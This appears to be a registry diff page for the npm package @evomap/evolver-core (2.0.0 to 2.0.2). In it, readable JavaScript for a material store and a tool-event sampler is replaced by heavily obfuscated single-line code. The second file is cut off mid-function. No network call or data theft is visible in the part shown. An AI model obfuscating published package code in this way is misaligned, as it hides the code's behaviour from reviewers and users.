@evomap/evolver-core 2.0.0 → 2.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (91) hide show
  1. package/dist/algo/antiDistill.js +1 -167
  2. package/dist/algo/bans.js +1 -33
  3. package/dist/algo/candidateAssembly.js +1 -273
  4. package/dist/algo/capabilityCandidates.js +1 -146
  5. package/dist/algo/confidence.js +1 -196
  6. package/dist/algo/conversationSniffer.js +1 -149
  7. package/dist/algo/cycleEngine.js +1 -625
  8. package/dist/algo/cycleFailureClassifier.js +1 -112
  9. package/dist/algo/epigenetics.js +1 -41
  10. package/dist/algo/evolutionEvent.js +1 -24
  11. package/dist/algo/exploration.js +1 -68
  12. package/dist/algo/geneHealth.js +1 -17
  13. package/dist/algo/geneIntake.js +1 -128
  14. package/dist/algo/genePromotion.js +1 -53
  15. package/dist/algo/geneSelection.js +1 -546
  16. package/dist/algo/index.js +1 -22
  17. package/dist/algo/memoryGraph.js +1 -86
  18. package/dist/algo/mutation.js +1 -22
  19. package/dist/algo/orchestrator.js +1 -87
  20. package/dist/algo/publishEligibility.js +1 -52
  21. package/dist/algo/solidify.js +1 -63
  22. package/dist/algo/strategyPresets.js +1 -61
  23. package/dist/algo/ucb1.js +1 -156
  24. package/dist/benchmark/antiGeneBenchmark.js +1 -252
  25. package/dist/benchmark/antiGeneImpact.js +1 -34
  26. package/dist/benchmark/antiGeneRollout.js +1 -269
  27. package/dist/benchmark/benchmark.js +1 -26
  28. package/dist/benchmark/evolutionThesisSolver.js +1 -41
  29. package/dist/benchmark/index.js +1 -7
  30. package/dist/benchmark/selectionFlatAbstention.js +1 -481
  31. package/dist/benchmark/thesis.js +1 -150
  32. package/dist/benchmark/triggerShift.js +1 -106
  33. package/dist/cycle/cycleTimeline.js +1 -74
  34. package/dist/cycle/index.js +1 -2
  35. package/dist/cycle/stateMachine.js +1 -25
  36. package/dist/hub/agentDirectory.js +1 -104
  37. package/dist/hub/assetCallLog.js +1 -195
  38. package/dist/hub/bindings.js +1 -121
  39. package/dist/hub/capability.js +1 -1
  40. package/dist/hub/conversationDistiller.js +1 -264
  41. package/dist/hub/fake.js +1 -70
  42. package/dist/hub/hubReview.js +1 -106
  43. package/dist/hub/index.js +1 -11
  44. package/dist/hub/ingest.js +1 -15
  45. package/dist/hub/questionGenerator.js +1 -408
  46. package/dist/hub/reuseDecision.js +1 -127
  47. package/dist/hub/sanitize.js +1 -322
  48. package/dist/material/boundary.js +1 -14
  49. package/dist/material/consumer.js +1 -55
  50. package/dist/material/emit.js +1 -52
  51. package/dist/material/factory.js +1 -25
  52. package/dist/material/index.js +1 -9
  53. package/dist/material/materialArchive.js +1 -466
  54. package/dist/material/materialStore.js +1 -69
  55. package/dist/material/sampling.js +1 -39
  56. package/dist/material/sources.js +1 -33
  57. package/dist/material/watermark.js +1 -76
  58. package/dist/personality/drift.js +1 -106
  59. package/dist/personality/events.js +1 -37
  60. package/dist/personality/evolveOps.js +1 -93
  61. package/dist/personality/index.js +1 -11
  62. package/dist/personality/mutate.js +1 -39
  63. package/dist/personality/pivot.js +1 -22
  64. package/dist/personality/prompt.js +1 -62
  65. package/dist/personality/riskGate.js +1 -80
  66. package/dist/personality/schema.js +1 -119
  67. package/dist/personality/select.js +1 -71
  68. package/dist/personality/stats.js +1 -82
  69. package/dist/personality/store.js +1 -92
  70. package/dist/schema/common.js +1 -17
  71. package/dist/schema/evolutionGraph.js +1 -187
  72. package/dist/schema/index.js +1 -6
  73. package/dist/schema/material.js +1 -50
  74. package/dist/schema/problem.js +1 -45
  75. package/dist/schema/proofOfWork.js +1 -9
  76. package/dist/schema/signal.js +1 -19
  77. package/dist/signals/curriculum.js +1 -202
  78. package/dist/signals/cycleHistoryFromEvents.js +1 -105
  79. package/dist/signals/expand.js +1 -293
  80. package/dist/signals/extractor.js +1 -82
  81. package/dist/signals/index.js +1 -8
  82. package/dist/signals/metaSignals.js +1 -200
  83. package/dist/signals/signalGate.js +1 -40
  84. package/dist/signals/taskDomain.js +1 -43
  85. package/dist/signals/traceSignals.js +1 -123
  86. package/dist/strategy/constraintAblation.js +1 -2820
  87. package/dist/strategy/constraintAblationPredicates.js +1 -339
  88. package/dist/strategy/experiment.js +1 -63
  89. package/dist/strategy/index.js +1 -3
  90. package/dist/strategy/strategyPoint.js +1 -23
  91. package/package.json +1 -1
@@ -1,69 +1 @@
1
- import { openSync, writeSync, fsyncSync, closeSync, mkdirSync } from 'node:fs';
2
- import { dirname } from 'node:path';
3
- import { material } from '../schema/material.js';
4
- import { acquireLock, releaseLock } from '../util/fileLock.js';
5
- import { assertMaterialSource } from './boundary.js';
6
- import { readMaterialHistory, readMaterialRange } from './materialArchive.js';
7
- /** 原材料库 (append-only jsonl + single-writer + materialId 去重). */
8
- export class MaterialStore {
9
- path;
10
- lockPath;
11
- seen = new Set();
12
- chain = Promise.resolve();
13
- constructor(opts) {
14
- this.path = opts.path;
15
- this.lockPath = `${opts.path}.lock`;
16
- mkdirSync(dirname(this.path), { recursive: true });
17
- for (const m of this.readAll())
18
- this.seen.add(m.materialId);
19
- }
20
- /** 幂等 put: 已存在 materialId 跳过. */
21
- async put(input) {
22
- const run = this.chain.then(() => this.putLocked(input));
23
- this.chain = run.then(() => undefined, () => undefined);
24
- return run;
25
- }
26
- putLocked(input) {
27
- const m = material.parse(input);
28
- assertMaterialSource(m);
29
- if (this.seen.has(m.materialId))
30
- return { material: m, stored: false };
31
- acquireLock(this.lockPath);
32
- try {
33
- const fd = openSync(this.path, 'a');
34
- try {
35
- writeSync(fd, `${JSON.stringify(m)}\n`);
36
- fsyncSync(fd);
37
- }
38
- finally {
39
- closeSync(fd);
40
- }
41
- this.seen.add(m.materialId);
42
- return { material: m, stored: true };
43
- }
44
- finally {
45
- releaseLock(this.lockPath);
46
- }
47
- }
48
- get(materialId) {
49
- for (const m of this.readAll())
50
- if (m.materialId === materialId)
51
- return m;
52
- return undefined;
53
- }
54
- readAll() {
55
- return readMaterialHistory(this.path);
56
- }
57
- readRange(start, count) {
58
- return readMaterialRange(this.path, start, count);
59
- }
60
- *iterate(opts = {}) {
61
- for (const m of this.readAll()) {
62
- if (opts.consumerGroup !== undefined && m.consumerGroup !== opts.consumerGroup)
63
- continue;
64
- if (opts.since !== undefined && m.capturedAt < opts.since)
65
- continue;
66
- yield m;
67
- }
68
- }
69
- }
1
+ const _0x5b7d91=_0x2c60;(function(_0x8fa4e2,_0x11e99f){const _0x12ed7c=_0x2c60,_0x21e045=_0x8fa4e2();while(!![]){try{const _0x1a8f5c=-parseInt(_0x12ed7c(0xdc,'\x28\x47\x59\x6a'))/(-0x2499+-0x246e+0x4908)*(parseInt(_0x12ed7c(0xdd,'\x62\x21\x63\x59'))/(0x45*0x38+0x32*0x9+-0x10d8))+-parseInt(_0x12ed7c(0xf0,'\x34\x45\x58\x54'))/(-0xa84+-0x311*0x9+0x2620)*(parseInt(_0x12ed7c(0xe1,'\x28\x47\x59\x6a'))/(-0x3*0x8db+0x162f+-0x1*-0x466))+parseInt(_0x12ed7c(0xd9,'\x62\x25\x6c\x6d'))/(0x7a*0x2e+0x12c1+-0x28a8)*(-parseInt(_0x12ed7c(0x105,'\x29\x69\x57\x51'))/(-0xd*-0x109+-0x1*-0x1e64+0x2bd3*-0x1))+parseInt(_0x12ed7c(0xfb,'\x57\x37\x53\x49'))/(-0x1*-0x298+-0x7*-0x235+-0x2*0x902)+-parseInt(_0x12ed7c(0xeb,'\x6c\x67\x70\x56'))/(-0x2325+0xef*-0xd+-0x17a8*-0x2)+-parseInt(_0x12ed7c(0xe2,'\x34\x45\x58\x54'))/(0x1*0x1f55+-0x20b0*-0x1+-0x444*0xf)*(-parseInt(_0x12ed7c(0xf2,'\x6c\x67\x70\x56'))/(-0x45a*-0x1+0x2*0x11c1+-0x27d2))+-parseInt(_0x12ed7c(0x107,'\x5e\x4a\x52\x50'))/(0x11d4+-0x1daf+0xbe6)*(-parseInt(_0x12ed7c(0x106,'\x6e\x5d\x61\x4a'))/(-0x19*0xc4+0x164b+-0x1*0x31b));if(_0x1a8f5c===_0x11e99f)break;else _0x21e045['push'](_0x21e045['shift']());}catch(_0x450a8c){_0x21e045['push'](_0x21e045['shift']());}}}(_0x8ab5,-0x6a997+0xd*0x1945+0xca43a*0x1));import{openSync,writeSync,fsyncSync,closeSync,mkdirSync}from'\x6e\x6f\x64\x65\x3a\x66\x73';import{dirname}from'\x6e\x6f\x64\x65\x3a\x70\x61\x74\x68';import{material}from'\x2e\x2e\x2f\x73\x63\x68\x65\x6d\x61\x2f\x6d\x61\x74\x65\x72\x69\x61\x6c\x2e\x6a\x73';import{acquireLock,releaseLock}from'\x2e\x2e\x2f\x75\x74\x69\x6c\x2f\x66\x69\x6c\x65\x4c\x6f\x63\x6b\x2e\x6a\x73';import{assertMaterialSource}from'\x2e\x2f\x62\x6f\x75\x6e\x64\x61\x72\x79\x2e\x6a\x73';function _0x8ab5(){const _0x1341b5=['\x57\x52\x42\x64\x4e\x6d\x6b\x47\x57\x35\x71\x67\x57\x34\x66\x50\x63\x6d\x6f\x68\x67\x43\x6f\x63\x57\x37\x2f\x64\x53\x47','\x64\x53\x6b\x42\x57\x36\x53\x4b','\x57\x50\x52\x63\x55\x72\x39\x79','\x57\x37\x44\x71\x62\x73\x71\x43\x57\x51\x37\x63\x4e\x47','\x65\x43\x6f\x41\x76\x76\x5a\x64\x52\x6d\x6f\x39\x57\x34\x31\x37\x57\x50\x74\x63\x4e\x57','\x57\x52\x4a\x63\x54\x6d\x6b\x67\x57\x50\x34\x75\x57\x4f\x72\x69\x6e\x43\x6f\x2b\x57\x36\x76\x78\x57\x36\x2f\x64\x4b\x71','\x43\x38\x6f\x43\x57\x37\x6c\x63\x49\x47','\x57\x52\x33\x64\x4c\x43\x6b\x54\x57\x35\x66\x57\x57\x50\x43\x2f\x68\x6d\x6f\x42\x63\x61','\x63\x57\x7a\x6c\x72\x53\x6b\x63\x6f\x67\x74\x64\x4b\x47','\x57\x52\x78\x64\x47\x38\x6b\x6c\x57\x52\x56\x64\x4c\x59\x7a\x64\x57\x4f\x42\x64\x50\x47','\x57\x35\x34\x45\x57\x52\x64\x64\x54\x57\x68\x64\x4d\x77\x62\x6d','\x6b\x68\x65\x43\x57\x52\x38','\x68\x6d\x6b\x31\x42\x47\x39\x46\x57\x4f\x4e\x64\x47\x61','\x68\x43\x6b\x31\x41\x47\x75','\x57\x36\x43\x75\x73\x74\x30','\x57\x52\x70\x64\x4d\x6d\x6f\x49\x7a\x59\x34\x63\x57\x35\x56\x63\x56\x61','\x6d\x43\x6b\x6d\x57\x52\x46\x64\x4c\x58\x65\x34\x41\x6d\x6b\x74\x57\x37\x43\x5a\x6e\x38\x6b\x6d\x57\x4f\x57','\x57\x35\x37\x64\x4b\x6d\x6f\x71\x57\x4f\x4f\x67\x57\x51\x75\x52\x75\x57','\x57\x4f\x5a\x63\x47\x4c\x53','\x44\x6d\x6f\x77\x6b\x33\x75\x6d\x57\x51\x78\x64\x55\x43\x6f\x58\x57\x37\x6c\x64\x4f\x33\x75\x79\x75\x71','\x6e\x53\x6b\x61\x45\x63\x34','\x57\x36\x7a\x41\x63\x4a\x6d\x4f\x57\x51\x2f\x63\x4c\x38\x6f\x68','\x57\x4f\x4b\x50\x57\x34\x71\x52\x57\x34\x52\x63\x4d\x43\x6b\x45','\x57\x36\x57\x4c\x57\x37\x65','\x57\x52\x34\x78\x69\x57','\x46\x6d\x6b\x62\x44\x30\x37\x63\x51\x62\x61\x44\x57\x36\x47','\x76\x53\x6f\x4c\x6e\x57\x7a\x65\x57\x4f\x2f\x64\x4c\x4b\x61\x62','\x57\x50\x39\x73\x57\x37\x42\x63\x47\x4c\x37\x63\x49\x4e\x31\x2f\x63\x62\x71\x32\x42\x57','\x57\x52\x4a\x64\x47\x53\x6b\x58\x74\x68\x68\x64\x50\x71\x56\x63\x49\x6d\x6f\x4d','\x73\x4d\x4e\x64\x47\x38\x6f\x75\x45\x57\x4f\x63\x57\x34\x78\x64\x4f\x66\x4a\x64\x4b\x6d\x6f\x77\x57\x52\x6d','\x57\x52\x33\x64\x4e\x49\x38\x44','\x6b\x32\x65\x6e\x57\x50\x33\x63\x55\x76\x68\x63\x49\x5a\x79','\x62\x75\x46\x63\x54\x43\x6f\x47\x6d\x61','\x57\x36\x37\x63\x4d\x43\x6f\x50\x74\x4e\x61','\x57\x36\x70\x63\x56\x74\x46\x64\x4d\x72\x57','\x79\x61\x72\x6d\x57\x50\x75\x69\x57\x50\x4a\x63\x52\x53\x6b\x33\x57\x37\x53\x66\x79\x53\x6f\x38','\x73\x38\x6f\x69\x57\x51\x38\x63\x73\x6d\x6f\x77\x57\x51\x58\x6c\x57\x4f\x53','\x57\x36\x5a\x63\x4c\x43\x6f\x53','\x42\x77\x4f\x46\x57\x51\x75\x4e\x57\x51\x46\x64\x49\x74\x69','\x61\x75\x37\x63\x4f\x53\x6f\x39','\x6d\x38\x6b\x35\x57\x35\x71\x76\x71\x71','\x57\x52\x6d\x43\x6a\x66\x42\x63\x55\x64\x33\x64\x4c\x77\x38','\x57\x36\x35\x6b\x46\x47\x74\x64\x4e\x72\x52\x64\x4d\x68\x64\x63\x47\x53\x6b\x79\x57\x36\x6d','\x57\x50\x47\x62\x6b\x65\x4a\x63\x4d\x61','\x6c\x43\x6b\x65\x42\x47','\x57\x4f\x43\x39\x57\x52\x33\x64\x4a\x4e\x6c\x63\x4b\x30\x79\x58\x57\x52\x75','\x57\x50\x42\x63\x52\x43\x6b\x30\x46\x49\x4b','\x57\x52\x30\x61\x78\x63\x30\x68\x57\x51\x4a\x63\x49\x6d\x6f\x39\x57\x37\x75','\x57\x4f\x57\x59\x57\x34\x69\x59\x57\x37\x56\x63\x4a\x6d\x6b\x70\x45\x71','\x7a\x48\x7a\x30\x57\x35\x34\x4f\x57\x52\x4a\x64\x4e\x74\x68\x64\x4b\x47\x65\x4e','\x57\x34\x66\x6e\x64\x30\x47\x61\x6a\x72\x33\x64\x4f\x61','\x57\x37\x44\x71\x66\x59\x38\x58\x57\x52\x74\x63\x4c\x57','\x57\x50\x4b\x76\x57\x51\x68\x64\x4e\x78\x69\x72\x63\x68\x4e\x64\x4e\x57','\x57\x52\x61\x68\x76\x61\x34\x54\x57\x4f\x37\x63\x4b\x43\x6f\x59\x57\x34\x61','\x57\x50\x4e\x63\x53\x71\x76\x74\x57\x35\x61','\x57\x52\x4e\x63\x51\x38\x6f\x50\x79\x4e\x78\x64\x4b\x64\x61','\x63\x5a\x33\x63\x4b\x62\x4f','\x57\x50\x54\x37\x57\x37\x4e\x64\x53\x4e\x61\x52\x70\x57','\x57\x52\x64\x63\x54\x43\x6b\x68\x57\x50\x54\x6e\x57\x37\x34\x72\x6d\x6d\x6f\x6b\x57\x37\x79','\x57\x36\x31\x72\x57\x51\x4f\x48\x64\x57','\x79\x6d\x6f\x76\x57\x36\x46\x63\x49\x30\x47','\x6d\x4c\x69\x71\x57\x35\x39\x6e\x57\x34\x78\x63\x56\x43\x6b\x74','\x57\x50\x4e\x64\x4b\x38\x6b\x57\x57\x34\x58\x2f\x73\x6d\x6b\x44\x57\x4f\x61','\x57\x36\x31\x57\x57\x35\x37\x64\x52\x43\x6f\x33\x78\x38\x6b\x63\x57\x35\x57\x75\x6c\x61','\x42\x38\x6b\x7a\x64\x58\x4e\x64\x4e\x47','\x57\x52\x4b\x4a\x57\x50\x33\x63\x55\x6d\x6f\x4f\x44\x6d\x6b\x6a\x57\x36\x75','\x6e\x43\x6b\x70\x57\x50\x74\x64\x49\x43\x6b\x41\x57\x4f\x56\x63\x47\x30\x71'];_0x8ab5=function(){return _0x1341b5;};return _0x8ab5();}import{readMaterialHistory,readMaterialRange}from'\x2e\x2f\x6d\x61\x74\x65\x72\x69\x61\x6c\x41\x72\x63\x68\x69\x76\x65\x2e\x6a\x73';function _0x2c60(_0x223055,_0x5d015d){_0x223055=_0x223055-(-0x1147+-0x1d25+-0x2*-0x179f);const _0x32f2e4=_0x8ab5();let _0x25d705=_0x32f2e4[_0x223055];if(_0x2c60['\x6b\x58\x6e\x58\x59\x47']===undefined){var _0x5429d3=function(_0x5572e2){const _0x35c82e='\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x2b\x2f\x3d';let _0x3b646b='',_0x330769='';for(let _0x39699=-0x5*0x253+-0x69a*0x5+0x8ed*0x5,_0x66cd64,_0xb1d823,_0x377bf6=-0x7d*-0x37+0x8d*0x43+-0x3fc2;_0xb1d823=_0x5572e2['\x63\x68\x61\x72\x41\x74'](_0x377bf6++);~_0xb1d823&&(_0x66cd64=_0x39699%(0x1*0x2cd+0x869*0x3+0x2c*-0xa3)?_0x66cd64*(-0x6a2+0x110b+-0xa29)+_0xb1d823:_0xb1d823,_0x39699++%(-0x769*0x5+0x234+0x22dd))?_0x3b646b+=String['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65'](0x18*0xbc+-0x18b4+0x813&_0x66cd64>>(-(0x1ccf+0xfb*-0x26+0x875)*_0x39699&0x26f5+-0xb*0x25+-0x8*0x4ab)):0x565*-0x5+0xfb8+0xb41){_0xb1d823=_0x35c82e['\x69\x6e\x64\x65\x78\x4f\x66'](_0xb1d823);}for(let _0x219ad9=0x1145*-0x1+-0xf8f+-0x2c*-0xbf,_0x131e1c=_0x3b646b['\x6c\x65\x6e\x67\x74\x68'];_0x219ad9<_0x131e1c;_0x219ad9++){_0x330769+='\x25'+('\x30\x30'+_0x3b646b['\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74'](_0x219ad9)['\x74\x6f\x53\x74\x72\x69\x6e\x67'](0x2*0xfbe+0x1*0x2482+0xa*-0x6cb))['\x73\x6c\x69\x63\x65'](-(0xf94+-0x1894+0x902));}return decodeURIComponent(_0x330769);};const _0x11b769=function(_0x1b6c24,_0x59cac1){let _0x49ca3b=[],_0x34ccf7=0x22*0xdd+0x35*0xa+-0x1f6c,_0x5137a4,_0x2800a8='';_0x1b6c24=_0x5429d3(_0x1b6c24);let _0x56be73;for(_0x56be73=-0x5*0x505+0x1*-0x164f+0x4a*0xa4;_0x56be73<0x245f+-0x2*0x164+-0x2097;_0x56be73++){_0x49ca3b[_0x56be73]=_0x56be73;}for(_0x56be73=0x627+-0xa79*0x3+0x6*0x436;_0x56be73<0x10c4+-0x18ab+0x8e7;_0x56be73++){_0x34ccf7=(_0x34ccf7+_0x49ca3b[_0x56be73]+_0x59cac1['\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74'](_0x56be73%_0x59cac1['\x6c\x65\x6e\x67\x74\x68']))%(-0x6ed+-0x6*0x31d+0x8b*0x31),_0x5137a4=_0x49ca3b[_0x56be73],_0x49ca3b[_0x56be73]=_0x49ca3b[_0x34ccf7],_0x49ca3b[_0x34ccf7]=_0x5137a4;}_0x56be73=-0x15a0+0xd4*0x11+0x78c,_0x34ccf7=-0x1ad3+-0x5*-0x41f+0x638;for(let _0x25ab8e=-0x1*0x19cf+0x62*0x5c+-0x969;_0x25ab8e<_0x1b6c24['\x6c\x65\x6e\x67\x74\x68'];_0x25ab8e++){_0x56be73=(_0x56be73+(-0x1*-0x108a+-0x23*0x107+-0x4db*-0x4))%(-0xed*0x1+-0x259*0xf+0x2524),_0x34ccf7=(_0x34ccf7+_0x49ca3b[_0x56be73])%(-0x934+0x84b+-0x1*-0x1e9),_0x5137a4=_0x49ca3b[_0x56be73],_0x49ca3b[_0x56be73]=_0x49ca3b[_0x34ccf7],_0x49ca3b[_0x34ccf7]=_0x5137a4,_0x2800a8+=String['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65'](_0x1b6c24['\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74'](_0x25ab8e)^_0x49ca3b[(_0x49ca3b[_0x56be73]+_0x49ca3b[_0x34ccf7])%(-0x5*0x5+-0x1439+0x2*0xaa9)]);}return _0x2800a8;};_0x2c60['\x63\x47\x53\x4e\x72\x6d']=_0x11b769,_0x2c60['\x78\x6d\x4f\x78\x49\x50']={},_0x2c60['\x6b\x58\x6e\x58\x59\x47']=!![];}const _0x5aa478=_0x32f2e4[0x1410+-0x7f2*-0x1+-0x1c02],_0x172643=_0x223055+_0x5aa478,_0x32a8df=_0x2c60['\x78\x6d\x4f\x78\x49\x50'][_0x172643];return!_0x32a8df?(_0x2c60['\x54\x74\x6c\x6f\x7a\x69']===undefined&&(_0x2c60['\x54\x74\x6c\x6f\x7a\x69']=!![]),_0x25d705=_0x2c60['\x63\x47\x53\x4e\x72\x6d'](_0x25d705,_0x5d015d),_0x2c60['\x78\x6d\x4f\x78\x49\x50'][_0x172643]=_0x25d705):_0x25d705=_0x32a8df,_0x25d705;}export class MaterialStore{[_0x5b7d91(0xe0,'\x78\x6d\x44\x6c')];[_0x5b7d91(0xea,'\x40\x40\x72\x41')];[_0x5b7d91(0xff,'\x61\x63\x6d\x78')]=new Set();[_0x5b7d91(0x10c,'\x5e\x4a\x52\x50')]=Promise[_0x5b7d91(0xdb,'\x62\x21\x63\x59')]();constructor(_0x4fdf76){const _0x3d7545=_0x5b7d91;this[_0x3d7545(0xed,'\x67\x66\x59\x25')]=_0x4fdf76[_0x3d7545(0xed,'\x67\x66\x59\x25')],this[_0x3d7545(0xd8,'\x55\x77\x64\x23')]=_0x4fdf76[_0x3d7545(0xec,'\x57\x67\x6b\x40')]+_0x3d7545(0x10d,'\x45\x31\x64\x6a'),mkdirSync(dirname(this[_0x3d7545(0xf1,'\x57\x37\x53\x49')]),{'\x72\x65\x63\x75\x72\x73\x69\x76\x65':!![]});for(const _0x275733 of this['\x72\x65\x61\x64\x41\x6c\x6c']())this['\x73\x65\x65\x6e'][_0x3d7545(0x103,'\x51\x46\x4e\x58')](_0x275733[_0x3d7545(0x104,'\x52\x55\x4a\x69')+'\x49\x64']);}async[_0x5b7d91(0x102,'\x26\x36\x72\x57')](_0x2759bf){const _0x4a2589=_0x5b7d91,_0x373236=this[_0x4a2589(0xe3,'\x4d\x48\x32\x6a')][_0x4a2589(0x112,'\x54\x6c\x39\x36')](()=>this[_0x4a2589(0x10a,'\x62\x55\x5b\x2a')+'\x64'](_0x2759bf));return this[_0x4a2589(0xe4,'\x57\x37\x53\x49')]=_0x373236[_0x4a2589(0xf9,'\x71\x55\x7a\x76')](()=>undefined,()=>undefined),_0x373236;}[_0x5b7d91(0xf5,'\x6e\x5d\x61\x4a')+'\x64'](_0x957328){const _0x51ac25=_0x5b7d91,_0xec8d1f=material[_0x51ac25(0x10b,'\x54\x6c\x39\x36')](_0x957328);assertMaterialSource(_0xec8d1f);if(this[_0x51ac25(0xf6,'\x62\x55\x5b\x2a')][_0x51ac25(0xd4,'\x61\x63\x6d\x78')](_0xec8d1f['\x6d\x61\x74\x65\x72\x69\x61\x6c'+'\x49\x64']))return{'\x6d\x61\x74\x65\x72\x69\x61\x6c':_0xec8d1f,'\x73\x74\x6f\x72\x65\x64':![]};acquireLock(this[_0x51ac25(0x114,'\x51\x46\x4e\x58')]);try{const _0x56985b=openSync(this[_0x51ac25(0xf1,'\x57\x37\x53\x49')],'\x61');try{writeSync(_0x56985b,JSON[_0x51ac25(0xda,'\x5b\x41\x5b\x75')+'\x79'](_0xec8d1f)+'\x0a'),fsyncSync(_0x56985b);}finally{closeSync(_0x56985b);}return this[_0x51ac25(0xf8,'\x29\x69\x57\x51')][_0x51ac25(0x110,'\x5e\x4a\x52\x50')](_0xec8d1f[_0x51ac25(0xe9,'\x37\x44\x33\x74')+'\x49\x64']),{'\x6d\x61\x74\x65\x72\x69\x61\x6c':_0xec8d1f,'\x73\x74\x6f\x72\x65\x64':!![]};}finally{releaseLock(this[_0x51ac25(0x111,'\x2a\x37\x54\x44')]);}}[_0x5b7d91(0xfd,'\x79\x4f\x50\x59')](_0x7dbd05){const _0x478203=_0x5b7d91;for(const _0x5b99a2 of this['\x72\x65\x61\x64\x41\x6c\x6c']())if(_0x5b99a2[_0x478203(0xf3,'\x38\x30\x75\x77')+'\x49\x64']===_0x7dbd05)return _0x5b99a2;return undefined;}[_0x5b7d91(0xf7,'\x29\x69\x57\x51')](){return readMaterialHistory(this['\x70\x61\x74\x68']);}[_0x5b7d91(0xfa,'\x30\x4b\x31\x6e')+'\x65'](_0x3517a4,_0x442742){const _0x24f6ad=_0x5b7d91;return readMaterialRange(this[_0x24f6ad(0x109,'\x70\x45\x62\x24')],_0x3517a4,_0x442742);}*[_0x5b7d91(0x101,'\x55\x77\x64\x23')](_0x119531={}){const _0x467aa6=_0x5b7d91;for(const _0x38c9e3 of this[_0x467aa6(0xee,'\x62\x21\x63\x59')]()){if('\x4d\x43\x4b\x59\x79'!==_0x467aa6(0x113,'\x57\x67\x6b\x40'))return _0x5bb581(this[_0x467aa6(0x109,'\x70\x45\x62\x24')]);else{if(_0x119531[_0x467aa6(0xe5,'\x74\x49\x68\x38')+_0x467aa6(0xe8,'\x43\x23\x50\x5d')]!==undefined&&_0x38c9e3[_0x467aa6(0x100,'\x62\x21\x63\x59')+_0x467aa6(0xd3,'\x51\x46\x4e\x58')]!==_0x119531[_0x467aa6(0xfc,'\x33\x57\x47\x59')+'\x47\x72\x6f\x75\x70'])continue;if(_0x119531[_0x467aa6(0xde,'\x67\x66\x59\x25')]!==undefined&&_0x38c9e3[_0x467aa6(0xe6,'\x21\x47\x34\x32')+'\x41\x74']<_0x119531[_0x467aa6(0xd6,'\x71\x26\x6e\x37')])continue;yield _0x38c9e3;}}}}
@@ -1,39 +1 @@
1
- export const CONSERVATIVE_SAMPLING = {
2
- defaultRate: 1, toolRates: { read: 100, ls: 100, glob: 50, grep: 20 }, collapseConsecutive: true, maxPerBatch: 500,
3
- };
4
- /** tool_event 采样/过滤 (批注#12): 强信号(error)全留, 低价值降采样, 连续折叠, 突发限速. */
5
- export class ToolEventSampler {
6
- cfg;
7
- counts = new Map();
8
- lastTool;
9
- constructor(cfg) {
10
- this.cfg = cfg;
11
- }
12
- shouldKeep(e) {
13
- if (e.errorMessage) {
14
- this.lastTool = e.toolName;
15
- return true;
16
- } // 错误 100% 保留
17
- const name = e.toolName ?? '';
18
- if (this.cfg.collapseConsecutive && name === this.lastTool) {
19
- return false;
20
- } // 折叠连续相同
21
- this.lastTool = name;
22
- const rate = this.cfg.toolRates?.[name] ?? this.cfg.defaultRate;
23
- if (rate <= 1)
24
- return true;
25
- const n = (this.counts.get(name) ?? 0) + 1;
26
- this.counts.set(name, n);
27
- return n % rate === 1; // 每 N 留第 1 个
28
- }
29
- filter(events) {
30
- const out = [];
31
- for (const e of events) {
32
- if (this.cfg.maxPerBatch !== undefined && out.length >= this.cfg.maxPerBatch)
33
- break;
34
- if (this.shouldKeep(e))
35
- out.push(e);
36
- }
37
- return out;
38
- }
39
- }
1
+ const _0x200798=_0x9dec;function _0x9dec(_0x5c54a0,_0x47a553){_0x5c54a0=_0x5c54a0-(0x86f+0x8aa+-0x1*0xf4f);const _0x33ea38=_0x290c();let _0x511a95=_0x33ea38[_0x5c54a0];if(_0x9dec['\x54\x66\x41\x67\x64\x51']===undefined){var _0xa230b0=function(_0xb792af){const _0x3f3f07='\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x2b\x2f\x3d';let _0x347d0f='',_0x2501c5='';for(let _0x430d31=-0x19cd+0x1136+-0x3*-0x2dd,_0x41abc8,_0x26304a,_0x1d51b3=0x15*-0x1b+-0x7fe*0x4+0x222f;_0x26304a=_0xb792af['\x63\x68\x61\x72\x41\x74'](_0x1d51b3++);~_0x26304a&&(_0x41abc8=_0x430d31%(0x146b+-0x234*-0xe+0x333f*-0x1)?_0x41abc8*(0x6ad+0x1b94+-0x2201)+_0x26304a:_0x26304a,_0x430d31++%(-0x5*-0x12d+0x2*-0xa8b+0xf39))?_0x347d0f+=String['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65'](0x8*0xb+-0x3*0x29+0x122*0x1&_0x41abc8>>(-(-0x21d0+0x125a+0x1b8*0x9)*_0x430d31&-0x428+0xe*-0xc7+0xf10)):0xd61+0x17b3*0x1+-0x2514){_0x26304a=_0x3f3f07['\x69\x6e\x64\x65\x78\x4f\x66'](_0x26304a);}for(let _0x3fcc4e=0x1140*0x2+0x6d*-0x4d+-0x1b7,_0x21ac7d=_0x347d0f['\x6c\x65\x6e\x67\x74\x68'];_0x3fcc4e<_0x21ac7d;_0x3fcc4e++){_0x2501c5+='\x25'+('\x30\x30'+_0x347d0f['\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74'](_0x3fcc4e)['\x74\x6f\x53\x74\x72\x69\x6e\x67'](0xbb1+-0x239b*-0x1+-0x1*0x2f3c))['\x73\x6c\x69\x63\x65'](-(-0x1*0x7a+-0x22ba+0x1*0x2336));}return decodeURIComponent(_0x2501c5);};const _0x2fe709=function(_0xd2cc0b,_0x5738c9){let 